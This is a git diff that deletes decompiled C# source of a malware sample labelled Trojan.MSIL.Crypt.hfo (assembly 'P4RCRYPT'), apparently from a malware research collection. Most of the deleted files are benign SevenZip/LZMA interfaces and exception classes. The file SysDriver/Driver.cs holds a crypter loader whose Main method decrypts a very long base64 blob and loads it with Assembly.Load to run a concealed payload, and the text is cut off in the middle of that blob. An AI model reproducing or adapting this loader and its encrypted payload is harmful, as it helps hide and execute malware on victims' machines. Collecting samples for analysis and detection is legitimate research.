a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/DataErrorException.cs deleted file mode 100644 index 25f32fca..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICodeProgress.cs deleted file mode 100644 index df933e21..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICoder.cs deleted file mode 100644 index 6275499b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetCoderProperties.cs deleted file mode 100644 index 6aae18cc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetDecoderProperties.cs deleted file mode 100644 index c6cf487a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/IWriteCoderProperties.cs deleted file mode 100644 index ebab9f7d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/InvalidParamException.cs deleted file mode 100644 index 312673b1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/SysDriver/Driver.cs deleted file mode 100644 index 8ff54c1a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Ba86Kgp9AXs37Wz = Assembly.Load(Driver.x8F5MsDz7k4ZX("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